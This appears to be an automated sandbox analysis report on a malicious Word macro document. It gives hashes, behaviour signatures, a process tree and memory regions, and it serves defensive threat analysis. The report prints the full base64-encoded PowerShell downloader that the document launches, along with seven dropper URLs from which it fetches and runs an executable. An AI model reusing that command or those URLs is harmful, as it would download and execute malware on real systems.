Analysis

  • max time kernel
    101s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    11/08/2024, 17:42

General

  • Target

    8b561633eae816d387eb741a09b1cf3f_JaffaCakes118.doc

  • Size

    171KB

  • MD5

    8b561633eae816d387eb741a09b1cf3f

  • SHA1

    8d4e5e1e8828c18bb4b4f855a0e538a49532d14b

  • SHA256

    8b086b781acec12715982f30c39eb5d20950325e39a5d84b33a6df96d9edcf8c

  • SHA512

    73166cc229f9e3e20dbe17caa45ddfb8a23355826e85205bdc14fae5df56b9b2753c017885c1532e1da8d688a53534029c8f616f28ff6ac7b6344f7ab95237e6

  • SSDEEP

    1536:sB445TEgrO3jSWAg83tle1ZZ0293QM0eetR2cOupLB5UZ5Z+a93WvrCv3Pt6DVn:s22TWTogk079THcpOu5UZ8vw3Pt6DVn

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://ckinterbiz.com/backup/waI0rNy/

exe.dropper

http://creationskateboards.com/shred/xnYp2/

exe.dropper

http://bnmintl.com/cgi-bin/hQuB2/

exe.dropper

http://buildingrobots.net/cgi-bin/LKgv/

exe.dropper

http://booksearch.com/index_files/U/

exe.dropper

http://davehale.ca/cgi-bin/v4kax/

exe.dropper

https://www.equiposjj.com/cgi-bin/h0MId/

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8b561633eae816d387eb741a09b1cf3f_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3040
    • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
      POWeRsHeLL -ENCOD JABPAHEAaQBkADEAbgB1AD0AKAAoACcAQQA3AHgAJwArACcAdAAnACkAKwAoACcAYgBpACcAKwAnAG0AJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABlAG4AVgA6AFUAcwBFAHIAUAByAG8ARgBJAGwAZQBcAHoAdwBMADYATQBVAEkAXABvAFYAQwBkAEIAeABzAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAYwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABDAGAAVQByAGkAYABUAFkAcAByAE8AVABvAEMATwBsACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKwAnACwAJwApACsAJwAgACcAKwAnAHQAbAAnACsAJwBzACcAKwAnADEAJwArACgAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQASQAwADAAMgAwADUAbAAgAD0AIAAoACgAJwBBAGkAJwArACcAcAA0ACcAKQArACgAJwBjAGIAJwArACcANwBwACcAKQApADsAJABUADAANQBqAHYAawB6AD0AKAAnAEsAJwArACgAJwBnAHQAdgAnACsAJwBoAGcAJwApACsAJwB4ACcAKQA7ACQAWgB5ADQAcwBvAGwAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADQAMwBMACcAKwAnAFoAdwBsACcAKQArACcANgBtACcAKwAoACcAdQBpADQAMwAnACsAJwBMACcAKwAnAE8AJwArACcAdgBjAGQAYgB4AHMAJwArACcANAAzACcAKQArACcATAAnACkALgAiAHIAZQBgAHAAbABgAEEAYwBlACIAKAAoAFsAYwBIAEEAcgBdADUAMgArAFsAYwBIAEEAcgBdADUAMQArAFsAYwBIAEEAcgBdADcANgApACwAJwBcACcAKQApACsAJABJADAAMAAyADAANQBsACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABFADUAcQA5AHoAXwBsAD0AKAAnAE4AJwArACgAJwBjACcAKwAnADUAaAAnACkAKwAoACcAMQAnACsAJwByAHQAJwApACkAOwAkAFgAcgB4AGgAMwB0ADcAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAGIAQwBsAEkAZQBOAHQAOwAkAEwAegBoADkAcwBhAF8APQAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnADoAJwApACsAJwAvAC8AJwArACcAYwAnACsAKAAnAGsAaQAnACsAJwBuACcAKwAnAHQAZQByAGIAaQB6ACcAKQArACcALgBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwBiACcAKwAoACcAYQBjAGsAdQBwACcAKwAnAC8AJwArACcAdwAnACkAKwAnAGEASQAnACsAJwAwACcAKwAoACcAcgAnACsAJwBOAHkALwAnACkAKwAoACcAKgBoACcAKwAnAHQAJwApACsAJwB0AHAAJwArACgAJwA6AC8ALwBjAHIAZQAnACsAJwBhAHQAJwApACsAJwBpACcAKwAoACcAbwBuACcAKwAnAHMAJwApACsAKAAnAGsAYQAnACsAJwB0AGUAYgAnACkAKwAoACcAbwAnACsAJwBhAHIAZAAnACkAKwAnAHMAJwArACcALgBjACcAKwAoACcAbwBtACcAKwAnAC8AcwAnACkAKwAnAGgAJwArACcAcgAnACsAKAAnAGUAZAAvACcAKwAnAHgAbgBZACcAKQArACcAcAAnACsAKAAnADIALwAnACsAJwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AYgAnACsAJwBuACcAKwAoACcAbQBpACcAKwAnAG4AJwApACsAKAAnAHQAbAAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAKAAnAGMAZwAnACsAJwBpAC0AYgAnACkAKwAoACcAaQBuAC8AaAAnACsAJwBRACcAKQArACgAJwB1AEIAJwArACcAMgAvACcAKQArACcAKgAnACsAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwBiAHUAaQAnACsAJwBsAGQAaQAnACsAJwBuACcAKQArACgAJwBnACcAKwAnAHIAbwBiAG8AdAAnACsAJwBzAC4AbgAnACkAKwAoACcAZQAnACsAJwB0AC8AYwBnACcAKQArACgAJwBpACcAKwAnAC0AYgAnACkAKwAnAGkAJwArACgAJwBuAC8AJwArACcATABLACcAKQArACgAJwBnACcAKwAnAHYALwAqACcAKQArACgAJwBoAHQAJwArACcAdABwADoAJwApACsAJwAvAC8AJwArACgAJwBiAG8AbwAnACsAJwBrACcAKQArACgAJwBzAGUAJwArACcAYQAnACkAKwAoACcAcgBjACcAKwAnAGgALgBjACcAKwAnAG8AbQAnACsAJwAvAGkAbgBkAGUAJwArACcAeABfAGYAJwApACsAKAAnAGkAJwArACcAbABlAHMALwAnACkAKwAnAFUAJwArACgAJwAvACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACsAJwBkACcAKQArACgAJwBhAHYAZQAnACsAJwBoACcAKQArACcAYQBsACcAKwAoACcAZQAuACcAKwAnAGMAJwApACsAKAAnAGEALwBjAGcAaQAtACcAKwAnAGIAaQBuAC8AdgAnACsAJwA0ACcAKwAnAGsAYQB4AC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcABzADoALwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AJwArACcAZQAnACkAKwAoACcAcQB1AGkAJwArACcAcABvAHMAJwArACcAagBqAC4AYwBvAG0AJwApACsAJwAvAGMAJwArACgAJwBnACcAKwAnAGkALQBiAGkAbgAvAGgAJwArACcAMABNACcAKQArACgAJwBJAGQAJwArACcALwAnACkAKQAuACIAcwBQAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABWAHoAMABvADIANwBwAD0AKAAnAFkAYwAnACsAKAAnAHgAYgA1ACcAKwAnADAANQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEoAbABlAHAAcABvADcAIABpAG4AIAAkAEwAegBoADkAcwBhAF8AKQB7AHQAcgB5AHsAJABYAHIAeABoADMAdAA3AC4AIgBEAG8AYABXAG4AbABPAEEARABgAEYASQBgAGwARQAiACgAJABKAGwAZQBwAHAAbwA3ACwAIAAkAFoAeQA0AHMAbwBsAHkAKQA7ACQAVQAzADcAaABwAHIAMQA9ACgAJwBRACcAKwAnAHUAJwArACgAJwAyAHMAJwArACcAcQByADIAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAWgB5ADQAcwBvAGwAeQApAC4AIgBMAEUAbgBgAEcAVABIACIAIAAtAGcAZQAgADMAOQAwADgAOQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABaAHkANABzAG8AbAB5ACkAOwAkAFoAMwB0AGkAaQBrAGwAPQAoACcAVwAnACsAKAAnAF8AeAAnACsAJwBtAGsAcQB1ACcAKQApADsAYgByAGUAYQBrADsAJABVAHAAMAB2AGwAZgBtAD0AKAAoACcARQAnACsAJwAyAGgAZgA5ACcAKQArACcAZgByACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBvADYAZwBsADQAdQA9ACgAJwBPACcAKwAoACcANQAnACsAJwB2AHMAJwApACsAKAAnAGQAJwArACcAcABuACcAKQApAA==
      1⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2596

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            29797f61949671fb165e72dbe8c6233f

            SHA1

            49b6a7d73cbc0c66473e1ca79e9a196dfe3eb6d5

            SHA256

            b681c7de745c149c530ddbcb6099a6159c307adc807bd7a6ce8e1a15cf6ec827

            SHA512

            4a04c1eb44aaae1bf2d09e754a1ec97a29ad5dc778f5b65a735cd9300a12b219bcd3afc330b5d4fe54bda68d693f9383a84f8a6c494de2c76a1b08e30cffe411

          • memory/1820-10-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-23-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-6-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-8-0x00000000060D0000-0x00000000061D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-7-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-9-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-21-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-20-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-19-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-25-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-17-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-16-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-15-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-14-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-13-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-12-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-11-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-0-0x000000002F0E1000-0x000000002F0E2000-memory.dmp

            Filesize

            4KB

          • memory/1820-2-0x000000007175D000-0x0000000071768000-memory.dmp

            Filesize

            44KB

          • memory/1820-22-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-18-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-26-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-27-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-24-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-29-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-31-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-32-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-30-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-28-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-33-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-68-0x000000007175D000-0x0000000071768000-memory.dmp

            Filesize

            44KB

          • memory/1820-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1820-49-0x000000007175D000-0x0000000071768000-memory.dmp

            Filesize

            44KB

          • memory/1820-50-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-51-0x00000000004D0000-0x00000000005D0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2596-40-0x0000000001D90000-0x0000000001D98000-memory.dmp

            Filesize

            32KB

          • memory/2596-39-0x000000001B7B0000-0x000000001BA92000-memory.dmp

            Filesize

            2.9MB